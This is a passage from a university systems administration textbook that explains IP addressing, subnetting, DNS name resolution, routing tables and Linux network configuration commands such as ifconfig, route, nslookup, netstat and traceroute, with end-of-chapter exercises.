By convention the network address is the IP address with a host address that is all 0's.
The network address is used to identify a network.
The broadcast address is the IP address with the host address set to all 1's and is used
to send information to all the computers on a network, typically used for routing and
error information.

Network Classes
During the development of the TCP/IP protocol stack IP addresses were divided into
classes. There are three main address classes, A, B and C. Table 15.4 summarises the
differences between the three classes. The class of an IP address can be deduced by the
value of the first byte of the address.

Class First byte value Netmask Number of hosts

A 1 to 126 255.0.0.0 16 million
B 128 to 191 255.255.0.0 64,000
C 192 to 223 255.255.255.0 254
Multicast 224 – 239 240.0.0.0
Ta b l e 1 5 . 4
Network classes

If you plan on setting up a network that is connected to the Internet the addresses for
your network must be allocated to you by central controlling organisation. You can't
just choose any set of addresses you wish, chances are they are already taken my some
other site.
If your network will not be connected to the Internet you can choose from a range of
addresses which have been set aside for this purpose. These addresses are shown in
Table 15.5

Network class Addresses

A 10.0.0.0 to 10.255.255.255
B 172.16.0.0 to 172.31.255.255
C 192.168.0.0 to 192.168.255.255
Ta b l e 1 5 . 5
Networks reserved for private networks

Subnets

David Jones, Bruce Jamieson (2/20/25) Page 402

85321, Systems Administration Chapter 15: Networks: The Connection

Central Queensland University has a class B network address, 138.77.0.0. This

would imply that you could make the following assumptions about the IP address
138.77.1.1. The network address is 138.77.0.0 and that the host address is
1.1, this is after all how a class B address is defined.
If you did make these implications you would be wrong.
CQU has decided to break its available IP addresses into further networks, called
subnets. Subnetting works by moving the dividing line between the network address
bits and the host address bits. Instead of using the first two bytes for the network
address CQU uses subnetting to use the first three bytes. This is achieved by setting
the netmask to 255.255.255.0.
This means that the address 138.77.1.1 actually breaks up into a network address
138.77.1.0 and a host address of 1. The network 138.77.1.0 is said to be a
subnet of the larger 138.77.0.0 network.

Why subnet?
Subnetting is used for a number of reasons including
 security reasons,
Using ethernet all hosts on the same network can see all the packets on the
network. So it makes sense to put the computers in student labs on a different
network to the computer on which student results are placed.
 physical reasons,
Networking hardware, like ethernet, has physical limitations. You can't put
machines on the Mackay campus on the same network as machines on the
Rockhampton campus (they are separated by about 300 kilometers).
 political reasons, and
There may be departments or groups within an organisation that have unique needs
or want to control their own network. This can be achieved by subnetting and
allocating them their own network.
 hardware and software differences.
Someone may wish to use completely different networking hardware and software.

"Strange" subnets
Generally subnet masks are byte oriented, for example 255.255.255.0. This
means that divide between the network portion of the address and the host portion
occurs on a byte boundary. However it is possible and sometimes necessary to use
bit-oriented subnet masks, for example 255.255.255.224. Bit oriented implies
that this division occurs within a byte.
For example a small company with a class C Internet address might use the subnet
mask 255.255.255.224.

David Jones, Bruce Jamieson (2/20/25) Page 403

85321, Systems Administration Chapter 15: Networks: The Connection

Exercises

15.1 Complete the following table by calculating the network and host addresses.
(refer back to the example earlier in the chapter)

David Jones, Bruce Jamieson (2/20/25) Page 404

 85321, Systems Administration Chapter 15: Networks: The Connection

IP address Subnet mask Network address Host address

178.86.11.1 255.255.255.0
230.167.16.132 255.255.255.192
132.95.132.5 255.255.240.0

Name resolution
We have a problem. People will use hostnames to identify individual computers on the
network while the computers use the IP address. How are the two reconciled.
When you enter http://www.lycos.com/ on your WWW browser the first thing
the networking software must do is find the IP address for www.lycos.com. Once it
has the IP address it can connect to that machine and download the WWW pages.
The process of taking a hostname and finding the IP address is called name
resolution.

Methods of name resolution

There are two methods that can be used to perform name resolution
 the /etc/hosts file, and
 the Domain Name Service.

/etc/hosts

One way of performing name resolution is to maintain a file that contains a list of
hostnames and their equivalent IP addresses. Then when you want to know a
machine's IP address you look up the file.
Under UNIX the file is /etc/hosts. /etc/hosts is a text file with one line per
host. Each line has the format

IP_address hostname aliases

Comments can be indicated by using the hash # symbol. Aliases are used to indicate
shorter names or other names used to refer to the same host.

For example
For example the hosts file of the machine aldur looks like this

# every machine has the localhost entry

127.0.0.1 localhost loopback
138.77.36.29 aldur.cqu.edu.au aldur

David Jones, Bruce Jamieson (2/20/25) Page 405

 85321, Systems Administration Chapter 15: Networks: The Connection

138.77.1.1 jasper.cqu.edu.au jasper

138.77.37.28 pol.cqu.edu.au pol

David Jones, Bruce Jamieson (2/20/25) Page 406

85321, Systems Administration Chapter 15: Networks: The Connection

Problems with /etc/hosts

When a user on aldur enters the command telnet jasper.cqu.edu.au the

software first looks in the hosts file for an entry for jasper. If it finds an entry it
obtains jasper's IP address and then can execute the command.
What happens if the user enters the command telnet knuth. There isn't an entry
for knuth in the hosts file. This means the IP address of knuth can't be found and so
the command can't succeed.
One solution would be to add an entry in the hosts file for every machine the users of
aldur wish to access. With over two million machines on the Internet it should be
obvious that this is not a smart solution.

Domain name service (DNS)

The following reading on the DNS was taken from http://www.aunic.net/dns.html

In the early days of the Internet, all host names and their associated IP addresses were
recorded in a single file called hosts.txt, maintained by the Network Information
Centre in the USA. Not surprisingly, as the Internet grew so did this file, and by the
mid-80's it had become impractically large to distribute to all systems over the
network, and impossible to keep up to date. The Internet Domain Name System
(DNS) was developed as a distributed database to solve this problem. Its primary goal
is to allow the allocation of host names to be distributed amongst multiple naming
authorities, rather than centralised at a single point.

DNS structure

The DNS is arranged as a hierarchy, both from the perspective of the structure of the
names maintained within the DNS, and in terms of the delegation of naming
authorities. At the top of the hierarchy is the root domain "." which is administered by
the Internet Assigned Numbers Authority (IANA). Administration of the root domain
gives the IANA the authority to allocate domains beneath the root, as shown in the
diagram below:

The process of assigning a domain to an

organisational entity is called delegating,
and involves the administrator of a
domain creating a sub-domain and

David Jones, Bruce Jamieson (2/20/25) Page 407

 85321, Systems Administration Chapter 15: Networks: The Connection

assigning the authority for allocating sub-domains of the new domain the subdomain's
administrative entity.
This is a hierarchical delegation, which commences at the "root" of the Domain Name
Space ("."). A fully qualified domain name, is obtained by writing the simple names
obtained by tracing the DNS hierarchy from the leaf nodes to the root, from left to
right, separating each name with a stop ".", eg.

fred.xxxx.edu.au

is the name of a host system (huxley) within the XXXX University (xxx), an
educational (edu) institution within Australia (au).
The sub-domains of the root are known as the top-level domains, and include the edu
(educational), gov (government), and com (commercial) domains. Although an
organisation anywhere in the world can register beneath these three-character top level
domains, the vast majority that have are located within, or have parent companies
based in, the United States. The top-level domains represented by the ISO two-
character country codes are used in most other countries, thus organisations in
Australia are registered beneath au.
The majority of country domains are sub-divided into organisational-type sub-
domains. In some countries two character sub-domains are created (eg. ac.nz for New
Zealand academic organisations), and in others three character sub-domains are used
(eg. com.au for Australian commercial organisations). Regardless of the standard
adopted each domain may be delegated to a separate authority.
Organisations that wish to register a domain name, even if they do not plan to
establish an Internet connection in the immediate short term, should contact the
administrator of the domain which most closely describes their activities.
Even though the DNS supports many levels of sub-domains, delegations should only
be made where there is a requirement for an organisation or organisational sub-
division to manage their own name space. Any sub-domain administrator must also
demonstrate they have the technical competence to operate a domain name server
(described below), or arrange for another organisation to do so on their behalf.

Domain Name Servers

The DNS is implemented as collection of inter-communicating nameservers. At any

given level of the DNS hierarchy, a nameserver for a domain has knowledge of all the
immediate sub-domains of that domain.
For each domain there is a primary nameserver, which contains authoritative
information regarding Internet entities within that domain. In addition Secondary
nameservers can be configured, which periodically download authoritative data from
the primary server. Secondary nameservers provide backup to the primary nameserver
when it is not operational, and further improve the overall performance of the DNS,

David Jones, Bruce Jamieson (2/20/25) Page 408

 85321, Systems Administration Chapter 15: Networks: The Connection

since the nameservers of a domain that respond to queries most quickly are used in
preference to any others.

/etc/resolv.conf

When performing a name resolution most UNIX machines will check their
/etc/hosts first and then check with their name server. How does the machine
know where its domain name server is. The answer is in the /etc/resolv.conf
file.
resolv.conf is a text file with three main types of entries
 # comments
Anything after a # is a comment and ignored.
 domain name
Defines the default domain. This default domain will be appended to any hostname
that does not contain a dot.
 nameserver address
This defines the IP address of the machines domain name server. It is possible to
have multiple name servers defined and they will be queried in order (useful if one
goes down).
For example
The /etc/resolv.conf file from my machine is listed below.

domain cqu.edu.au
nameserver 138.77.5.6
nameserver 138.77.1.1

Routing
So far we've looked at names and addresses that specify the location of a host on the
Internet. We now move onto routing. Routing is the act of deciding how each
individual datagram finds its way through the multiple different paths to its
destination.

Simple routing
For most UNIX computers the routing decisions they must make are simple. If the
datagram is for a host on the local network then the data is placed on the local network
and delivered to the destination host. If the destination host is on a remote network
then the datagram will be forwarded to the local gateway. The local gateway will then
pass it on further.

David Jones, Bruce Jamieson (2/20/25) Page 409

85321, Systems Administration Chapter 15: Networks: The Connection

However, a network the size of the Internet cannot be constructed with such a simple
approach. There are portions of the Internet where routing is a much more complex
business, too complex to be covered as a portion of one week of a third year unit.

Routing tables
Routing is concerned with finding the right network for a datagram. Once the right
network has been found the datagram can be delivered to the host.
Most hosts (and gateways) on the Internet maintain a routing table. The entries in the
routing table contain the information to know where to send datagrams for a particular
network.

Constructing the routing table

The routing table can be constructed in one of two ways
 constructed by the Systems Administrator, sometimes referred to as static routes,
 dynamically created by a number of different available routing protocols
The dynamic creation by routing protocols is complex and beyond the scope of this
subject.

Exercises

15.2 Why is the name server in /etc/resolv.conf specified using an IP

address and not a hostname?

Making the connection

This chapter, until now, has been introducing all the basic information you need to
understand in order to connect your Linux computer to a network. In the following
section we put this knowledge into practice by stepping through the actual connection
process. Initially we do this process at the command level so you understand what is
happening. Later on the GUI tools available under RedHat 5.0 are introduced.
Having reached this stage it is assumed that you have connected (or inserted) your
networking hardware (in)to your computer and have (if necessary) recompiled the
kernel to provide the necessary networking support.

Configuring the device/interface

Earlier in the chapter the concept of a network device was introduced. The following
section examines what is required to configure the network device so that it operates.

David Jones, Bruce Jamieson (2/20/25) Page 410

 85321, Systems Administration Chapter 15: Networks: The Connection

Configuring the network device draws on some of the basic TCP/IP concepts
introduced in previous sections.
One of the common complaints from UNIX Systems Administrators
who move into administering Windows 95/NT machines is that to
reconfigure (a common task which requires reconfiguring the network
interface is changing the IP address) the network device on a
Windows machine you have to reboot the entire machine. They are
used to UNIX where you can bring network devices up and down
without effecting anything (apart from the networking software), no
need to reboot.

The loopback device/interface

The loopback device is a special case. It is always present and is used to provide
access to your own machine. Even if you do not have a network connection you will
be able to use the loopback interface to test some of the basic networking services.
The loopback interface always has the IP address 127.0.0.1. Whenever you use
the IP address 127.0.0.1 you are connecting to your own computer.

ifconfig

Network interfaces are configured using the ifconfig command and has the
standard format for turning a device on

ifconfig device_name IP_address netmask netmask up

For example
 ifconfig eth0 138.77.37.26 netmask 255.255.255.0 up
Configures the first ethernet address with the IP address of 138.77.37.26 and the
netmask of 255.255.255.0.
 ifconfig lo 127.0.0.1
Configures the loopback address appropriately.
Other parameters for the ifconfig command include
 up and down
These parameters are used to take the device up and down (turn it on and off).
ifconfig eth0 down will disable the eth0 interface and will require an ifconfig
command like the first example above to turn it back on.
 -arp
Will turn on/off the address resolution protocol for the specified interface.
 -pointtopoint addr
Used to specify the IP address (addr) of the computer at the far end of a point to
point link.

David Jones, Bruce Jamieson (2/20/25) Page 411

 85321, Systems Administration Chapter 15: Networks: The Connection

Configuring the name resolver

Once the device/interface is configured you can start using the network. However
you'll only be able to use IP addresses. At this stage the networking system on your
computer will not know how to resolve hostnames (convert hostnames into IP
addresses). So if I was configuring a machine on the 138.77.37 subnet (this is the
student subnet in the IT building) at CQU I would be able to execute commands like

telnet 138.77.37.37
but I would not be able to execute commands such as

telnet cq-pan.cqu.edu.au
Even though the IP address for the machine cq-pan.cqu.edu.au is 138.77.37.37 the
networking on my machine doesn't know how to do the translation.
This is where the name resolver and its associated configuration files enter the picture.
In particular the three files we'll be looking at are
 /etc/resolv.conf
Specifies where the main domain name server is located for your machine.
 /etc/hosts.conf
Allows you to specify how the name resolver will operate. For example, will it
ask the domain name server first or look at a local file.
 /etc/hosts
A local file which specifies the IP/hostname association between common or local
computers.
The following is an excerpt from the NET-3 HOW-TO which describes these files in a
bit more detail.

/etc/resolv.conf

The /etc/resolv.conf is the main configuration file for the name resolver code.
Its format is quite simple. It is a text file with one keyword per line. There are three
keywords typically used, they are:
 domain
this keyword specifies the local domain name.
 search
this keyword specifies a list of alternate domain names to search for a
hostname
 nameserver
this keyword, which may be used many times, specifies an IP address of a
domain name server to query when resolving names
An example /etc/resolv.conf might look something like:

domain maths.wu.edu.au
search maths.wu.edu.au wu.edu.au

David Jones, Bruce Jamieson (2/20/25) Page 412

 85321, Systems Administration Chapter 15: Networks: The Connection

nameserver 192.168.10.1
nameserver 192.168.12.1
 This example specifies that the default domain name to append to unqualified names (ie
hostnames supplied without a domain) is maths.wu.edu.au and that if the host is not found in that
domain to also try the wu.edu.au domain directly. Two nameservers entry are supplied, each of which
may be called upon by the name resolver code to resolve the name.

/etc/host.conf

The /etc/host.conf file is where you configure some items that govern the
behaviour of the name resolver code.
 The format of this file is described in detail in the resolv+ man page. In nearly all
circumstances the following example will work for you:

order hosts,bind
multi on
This configuration tells the name resolver to check the /etc/hosts file before attempting
to query a nameserver and to return all valid addresses for a host found in the
/etc/hosts file instead of just the first.

/etc/hosts
 The /etc/hosts file is where you put the name and IP address of local hosts. If you place a
host in this file then you do not need to query the domain name server to get its IP Address. The
disadvantage of doing this is that you must keep this file up to date yourself if the IP address for that
host changes. In a well managed system the only hostnames that usually appear in this file are an entry
for the loopback interface and the local hosts name.

# /etc/hosts
127.0.0.1 localhost loopback
192.168.0.1 this.host.name
You may specify more than one host name per line as demonstrated by the first entry,
which is a standard entry for the loopback interface.

Configuring routing
Having performed each of the preceding steps the networking on your computer will
still not be working 100% correctly. For example, assume I'm adding a machine to
the 138.77.37 subnet at CQU with the IP address as 138.77.37.105 and the hostname
fred. I've configured the network interface and set up the following files
(For the following discussion it is important to realise that CQU has a class B address,
138.77, and creates subnets which look like class C address, i.e. 138.77.37, 138.77.1
and 138.77.5 are all separate subnets)
 /etc/resolv.conf

David Jones, Bruce Jamieson (2/20/25) Page 413

 85321, Systems Administration Chapter 15: Networks: The Connection

search cqu.edu.au
nameserver 138.77.5.6
nameserver 138.77.1.23
 /etc/host.conf
order hosts,bind
multi on
/etc/hosts

 /etc/hosts
127.0.0.1 localhost localhost.localdomain
138.77.37.105 fred fred.cqu.edu.au
138.77.37.37 cq-pan cq-pan.cqu.edu.au
Now, see what happens when I execute the following commands

[david@fred david]$ ping cq-pan.cqu.edu.au

PING cq-pan.cqu.edu.au (138.77.37.37): 56 data bytes
64 bytes from 138.77.37.37: icmp_seq=0 ttl=63 time=1.1 ms
64 bytes from 138.77.37.37: icmp_seq=1 ttl=63 time=1.0 ms
64 bytes from 138.77.37.37: icmp_seq=2 ttl=63 time=1.0 ms

--- cq-pan.cqu.edu.au ping statistics ---

3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.0/1.0/1.1 ms

[root@fred network-scripts]# ping jasper.cqu.edu.au

ping: unknown host jasper.cqu.edu.au
Why the difference? We've setup the name resolution configuration files properly so
why can't it resolve the name jasper.cqu.edu.au to the IP address
138.77.1.1? Have a look at the IP addresses of the domain name servers
specified in the /etc/resolv.conf file above? What can you tell about these
hosts?
The major difference between the domain name servers and our new host fred is that
they are on separate subnets. At this stage our host has not been told how it is meant
to send information from its own subnet to other subnets (remember the discussion
earlier in the chapter about arp and ethernet being a broadcast medium?).
fred.cqu.edu.au is able to use the cq-pan.cqu.edu.au hostname because it
is specified in the /etc/hosts file and it can send information to that machine
because it is on the same subnet. Because the domain name servers are on another
subnet the networking software on the machine doesn't know how to communicate
with them. An example of what happens can be seen in the following command
where rather than use jasper.cqu.edu.au's hostname we use the IP address.

[david@fred david]$ ping 138.77.1.1

PING 138.77.1.1 (138.77.1.1): 56 data bytes
ping: sendto: Network is unreachable
ping: wrote 138.77.1.1 64 chars, ret=-1

David Jones, Bruce Jamieson (2/20/25) Page 414

 85321, Systems Administration Chapter 15: Networks: The Connection

ping: sendto: Network is unreachable

ping: wrote 138.77.1.1 64 chars, ret=-1

--- 138.77.1.1 ping statistics ---

2 packets transmitted, 0 packets received, 100% packet loss
The solution to this problem is to configuring the routing software on our computer.
Routing is the art of deciding how to send IP packets from one host to another,
particularly where there are possibly multiple paths that could be used. In our
example above we have to specify how the networking software is to deliver IP
packets from our current subnet, 138.77.37, to other subnets.
Routing is a huge and complex topic. It is not possible to provide a detailed
introduction in the confines of this text. If you need more information you should
take a look at the NET-3 HOW-TO, the Network Administrators Guide and other
documentation. The following is an excerpt from the NET-3 HOW-TO which briefly
describes the routing table and the commands used to manipulate it.
Ok, so how does routing work ? Each host keeps a special list of routing rules, called a
routing table. This table contains rows which typically contain at least three fields, the
first is a destination address, the second is the name of the interface to which the
datagram is to be routed and the third is optionally the IP address of another machine
which will carry the datagram on its next step through the network. In Linux you can
see this table by using the following command:

# cat /proc/net/route
or by using either of the following commands:

# /sbin/route -n
# /bin/netstat -r
The routing process is fairly simple: an incoming datagram is received, the destination
address (who it is for) is examined and compared with each entry in the table. The
entry that best matches that address is selected and the datagram is forwarded to the
specified interface. If the gateway field is filled then the datagram is forwarded to that
host via the specified interface, otherwise the destination address is assumed to be on
the network supported by the interface.
To manipulate this table a special command is used. This command takes command
line arguments and converts them into kernel system calls that request the kernel to
add, delete or modify entries in the routing table. The command is called `route'.
A simple example. Imagine you have an ethernet network. You've been told it is a
class-C network with an address of 192.168.1.0. You've been supplied with an IP
address of 192.168.1.10 for your use and have been told that 192.168.1.1 is a router
connected to the Internet.
The first step is to configure the interface as described earlier. You would use a
command like:

# ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up

David Jones, Bruce Jamieson (2/20/25) Page 415

85321, Systems Administration Chapter 15: Networks: The Connection

You now need to add an entry into the routing table to tell the kernel that datagrams
for all hosts with addresses that match 192.168.1.* should be sent to the ethernet
device. You would use a command similar to:

# route add -net 192.168.1.0 netmask 255.255.255.0 eth0

Note the use of the `-net' argument to tell the route program that this entry is a network
route. Your other choice here is a `-host' route which is a route that is specific to one IP
address.
This route will enable you to establish IP connections with all of the hosts on your
ethernet segment. But what about all of the IP hosts that aren't on your ethernet
segment ?
It would be a very difficult job to have to add routes to every possible destination
network, so there is a special trick that is used to simplify this task. The trick is called
the `default' route. The default route matches every possible destination, but poorly, so
that if any other entry exists that matches the required address it will be used instead
of the default route. The idea of the default route is simply to enable you to say "and
everything else should go here". In the example I've contrived you would use an entry
like:

# route add default gw 192.168.1.1 eth0

The `gw' argument tells the route command that the next argument is the IP address, or
name, of a gateway or router machine which all datagrams matching this entry should
be directed to for further routing.
So, your complete configuration would look like:

# ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up

# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
# route add default gw 192.168.1.1 eth0
These steps are actually performed automatically by the startup files on a properly
configured Linux box.

Startup files
In the previous section we've looked at the individual steps used to configuring
networking on a simple Linux machine. On a normal Linux machine these steps are
performed automatically in the system startup files (refer back to chapter 12 for a
discussion on these). While the commands introduced in the previous section are
standard Linux/UNIX commands the startup and associated configuration files used
by RedHat 5.0 are different from other systems. This section briefly summarises the
startup files which are used on a RedHat 5.0 machine.
The files used include

David Jones, Bruce Jamieson (2/20/25) Page 416

85321, Systems Administration Chapter 15: Networks: The Connection

 /etc/sysconfig/network
A text file which defines shell variables for hostname, domain, gateway and
gateway device.
 /etc/sysconfig/network-scripts
A collection of scripts used to perform common tasks including bringing network
interfaces up and down.
 /etc/rc.d/init.d/network
A shell script which actually brings up the networking on startup. Linked to from
a number of scripts in the rcX.d directories.
A more indepth explanation of the files in the /etc/sysconfig directory can be found
under the resource materials section for week 8 on the 85321 Web site.

Network “management” tools

You might ask, "Why the hell are we playing with all these text files and commands?
Why can't we just use the nice GUI tools that come with RedHat". The simple
answer is that knowing how to use a GUI tool isn't all that difficult, anyone can learn
that. What's important for a computing professional, like a Systems Administrator, to
know is what is going on underneath. There will be times when the GUI doesn't
work or the problem you have can't be solved with the GUI. It is at times like this
that you will need to understand what is going on underneath.
Having said that it can be a lot quicker to perform simple tasks using a GUI than with
text files and a command line (depending on your personal preference). The
following section introduces the GUI tools RedHat provides to manage and configure
networking and also looks at a couple of other useful commands UNIX provides.

RedHat GUI Networking Tools

RedHat supplies a number of GUI administration tools which are all launched from
the control-panel application by typing control-panel from a shell (you must be
running X-Windows as control-panel is an X application). Each of the icons in the
control panel window correspond to one of the GUI tools. Holding the mouse over
the icon will cause it to display the name of the tool.
Of particular interest to this chapter is the network configuration tool which allows
you to configure the hosts, name servers, devices and routing for your system.

nslookup

The nslookup command is used to query a name server and is supplied as a

debugging tool. It is generally used to determine if the name server is working
correctly and for querying information from remote servers.

David Jones, Bruce Jamieson (2/20/25) Page 417

 85321, Systems Administration Chapter 15: Networks: The Connection

nslookup can be used from either the command line or interactively. Giving
nslookup a hostname will result in it asking the current domain name server for the
IP address of that machine.
nslookup also has an ls command that can be used to view the entire records of the
current domain name server.

For example

[david@cq-pan:~]$ nslookup
Default Server: circus.cqu.edu.au
Address: 138.77.5.6

> jasper
Server: circus.cqu.edu.au
Address: 138.77.5.6

Name: jasper.cqu.edu.au
Address: 138.77.1.1

> exit
[david@cq-pan:~]$ nslookup jasper
Server: circus.cqu.edu.au
Address: 138.77.5.6

Name: jasper.cqu.edu.au
Address: 138.77.1.1

netstat

netstat

The netstat command is used to display the status of network connections to a

UNIX machine. One of the functions it can be used for is to display the contents of the
kernel routing table by using the -r switch.

For example
The following examples are from two machines on CQU's Rockhampton campus. The
first one is from telnet jasper
[david@cq-pan:~]$ netstat -rn
Kernel routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
138.77.37.0 0.0.0.0 255.255.255.0 U 0 0 109130 eth0
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 9206 lo
0.0.0.0 138.77.37.1 0.0.0.0 UG 0 0 2546951 eth0
bash$ netstat -rn
Routing tables
Destination Gateway Flags Refcnt Use Interface
127.0.0.1 127.0.0.1 UH 56 7804440 lo0
default 138.77.1.11 UG 23 1595585 ln0

David Jones, Bruce Jamieson (2/20/25) Page 418

 85321, Systems Administration Chapter 15: Networks: The Connection

138.77.32 138.77.1.11 UG 0 19621 ln0

138.77.16 138.77.1.11 UG 0 555 ln0
138.77.8 138.77.1.11 UG 0 385345 ln0
138.77.80 138.77.1.11 UG 0 0 ln0
138.77.72 138.77.1.11 UG 0 0 ln0
138.77.64 138.77.1.11 UG 0 0 ln0
138.77.41 138.77.1.11 UG 0 0 ln0

traceroute

For some reason or another, users on one machine cannot connect to another machine
or if they can any information transfer between the two machines is either slow or
plagued by errors. What do you do?
Remember it is not only the machines at the two ends you have to check. If the two
machines are on different networks the information will flow through a number of
gateways and routers. It might be one of the gateway machines that is causing the
problem.
The traceroute command provides a way of discovering the path taken by
information as it goes from one machine to another and can be used to identify where
problems might be occurring. On the Internet that path may not always be the same.

For example
The following are the results of a number of executions of traceroute from the
machine aldur (138.77.36.29).
In the first example the machine knuth is on the same network as aldur. This
means that the information can get their directly.

bash$ traceroute knuth

traceroute to knuth.cqu.edu.au (138.77.36.20), 30 hops max, 40 byte packets
1 knuth.cqu.EDU.AU (138.77.36.20) 2 ms 2 ms 2 ms

jasper is one network away from aldur

bash$ traceroute jasper

traceroute to jasper.cqu.edu.au (138.77.1.1), 30 hops max, 40 byte packets
1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms
2 jasper.cqu.EDU.AU (138.77.1.1) 2 ms 1 ms 1 ms
A machine still on the CQU site but a little further away

bash$ traceroute jade

traceroute to jade.cqu.edu.au (138.77.7.2), 30 hops max, 40 byte packets
1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms
2 hercules.cqu.EDU.AU (138.77.5.3) 4 ms 2 ms 12 ms
3 jade.cqu.EDU.AU (138.77.7.2) 3 ms 13 ms 3 ms
A host still in Australia (but a long way from CQU)

David Jones, Bruce Jamieson (2/20/25) Page 419

 85321, Systems Administration Chapter 15: Networks: The Connection

bash$ traceroute archie.au

traceroute to archie.au (139.130.23.2), 30 hops max, 40 byte packets
1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms
2 tucana.cqu.EDU.AU (138.77.5.27) 2 ms 2 ms 2 ms
3 138.77.32.10 (138.77.32.10) 5 ms 5 ms 5 ms
4 qld.gw.au (139.130.60.1) 21 ms 13 ms 51 ms
5 national.gw.au (139.130.48.1) 35 ms 36 ms 40 ms
6 plaza.aarnet.edu.au (139.130.23.2) 38 ms 35 ms 68 ms

A host in the Eastern United States.

bash$ traceroute sunsite.unc.edu

traceroute to knuth.cqu.edu.au (139.130.23.2), 30 hops max, 40 byte packets
1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms
2 tucana.cqu.EDU.AU (138.77.5.27) 2 ms 2 ms 3 ms
3 138.77.32.10 (138.77.32.10) 5 ms 5 ms 5 ms
4 qld.gw.au (139.130.60.1) 13 ms 20 ms 13 ms
5 national.gw.au (139.130.48.1) 51 ms 36 ms 36 ms
6 usa.gw.au (139.130.29.5) 37 ms 36 ms 38 ms
7 usa-au.gw.au (203.62.255.1) 233 ms 252 ms 264 ms
8 * * t3-0.enss144.t3.nsf.net (192.203.230.253) 224 ms
9 140.222.8.4 (140.222.8.4) 226 ms 236 ms 258 ms
10 t3-3.cnss25.Chicago.t3.ans.net (140.222.25.4) 272 ms 293 ms 266 ms
11 t3-0.cnss40.Cleveland.t3.ans.net (140.222.40.1) 328 ms 270 ms 300 ms
12 t3-1.cnss48.Hartford.t3.ans.net (140.222.48.2) 325 ms 355 ms 289 ms
13 t3-2.cnss32.New-York.t3.ans.net (140.222.32.3) 284 ms 319 ms 347 ms
14 t3-1.cnss56.Washington-DC.t3.ans.net (140.222.56.2) 352 ms 299 ms 305 ms
15 t3-1.cnss72.Greensboro.t3.ans.net (140.222.72.2) 319 ms 344 ms 310 ms
16 mf-0.cnss75.Greensboro.t3.ans.net (140.222.72.195) 343 ms 320 ms *
17 cnss76.Greensboro.t3.ans.net (192.103.68.6) 338 ms 319 ms 355 ms
18 192.103.68.50 (192.103.68.50) 338 ms 330 ms 330 ms
19 rtp5-gw.ncren.net (128.109.135.254) 357 ms 361 ms *
20 * rtp2-gw.ncren.net (128.109.70.253) 359 ms 334 ms
21 128.109.13.2 (128.109.13.2) 374 ms 411 ms 451 ms
22 * calypso-2.oit.unc.edu (198.86.40.81) 418 ms 415 ms

There are now a number of visual versions of traceroute,

http://www.visualroute.com/, is one of them

David Jones, Bruce Jamieson (2/20/25) Page 420

85321, Systems Administration Chapter 15: Networks: The Connection

Exercises

15.3 In the above example examine the times between machines 6 & 7. Why do
you think it takes so long to get from machine 6 to machine 7?

Conclusions
Connecting a Linux machine to a network consists of the following steps
 identifying network hardware that is supported by the Linux kernel
 ensuring the Linux kernel has compiled into it the necessary network functionality
(including support for the hardware)
 configure the network interface using the ifconfig command
 ensure that the DNS is configured making use of files such as /etc/hosts
/etc/resolv.conf and /etc/hosts.conf
 ensure that the routing table is set up for your situation
The last three steps are usually performed automatically when the system starts up.
Tools which can be useful in the management of a network connection include various
RedHat GUI tools, nslookup, netstat and traceroute.

Review Questions

15.1

What UNIX commands would you use for the following tasks
a) checking a domain name server for the IP address of the machine
www.seven.com.au

b) another machine,
c) finding out what machines information passes through as it goes from your
machine to www.whitehouse.gov
d) configure a network interface,
e) display the routing table of your UNIX machine,
f) display the ethernet address of your UNIX machine.
g) finding out whether or not your computer can access, via the network,

David Jones, Bruce Jamieson (2/20/25) Page 421

 85321, Systems Administration Chapter 15: Networks: The Connection

15.2
Following are three images taken from "The Net" a movie with Sandra Bullock. Each
screen contains what is reportedly an IP address. For each IP address explain why it
isn't an IP address.

15.3

Explain the relevance of each of the following

/etc/hosts

/etc/resolv.conf

/etc/networks

/etc/rc.d/rc.inet1

a gateway

15.4
You've just started administering a new Linux computer and executed the following
two commands. What does this tell you about the network configuration of these
machines?
What would the /proc/net/dev file for this system look like?
Can you see what is wrong with the configuration of the networking of this system?
List the network and host portions of the IP address for each of the network devices
listed in the output of these commands.

[root@cq-pan logs]# /sbin/ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:60:97:3A:AA:85
inet addr:138.77.37.37 Bcast:138.77.37.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

David Jones, Bruce Jamieson (2/20/25) Page 422

 85321, Systems Administration Chapter 15: Networks: The Connection

RX packets:61183404 errors:59 dropped:59 overruns:0

TX packets:77722967 errors:0 dropped:0 overruns:0
Interrupt:9 Base address:0xff00

[root@cq-pan logs]# /sbin/ifconfig eth0:1

eth0:1 Link encap:Ethernet HWaddr 00:60:97:3A:AA:85
inet addr:138.77.37.59 Bcast:138.77.37.255 Mask:255.255.255.0
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:10894 errors:0 dropped:0 overruns:0
TX packets:210 errors:0 dropped:0 overruns:0

[root@cq-pan logs]# /sbin/ifconfig eth0:2

eth0:2 Link encap:Ethernet HWaddr 00:60:97:3A:AA:85
inet addr:138.77.38.60 Bcast:138.77.38.255 Mask:255.255.255.0
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:481325 errors:0 dropped:0 overruns:0
TX packets:259 errors:0 dropped:0 overruns:0

David Jones, Bruce Jamieson (2/20/25) Page 423

85321, Systems Administration Chapter 16: Network Applications

Chapter 16
Network Applications

Introduction
In the previous chapter, the concepts behind the operation of a TCP/IP network were
discussed. One important topic was not covered. How do the applications
communicate? How do services like print/file sharing, electronic mail, File Transfer
Protocol, World-Wide Web and others work?
That's where this chapter comes in. It aims to provide an overview of how network
applications work. How do they operate? How are the configured? What options are
open to you?
The chapter starts by giving an overview of how network services work and then
moves onto describing in detail how the UNIX operating system starts network
services. The chapter closes with a detailed look at some specific network services
including file/print sharing, messaging (email) and the World-Wide Web.

How it all works

In this section we look at how the various network services are provided. When you
telnet to another machine, how does it work? When you send an e-mail message to a
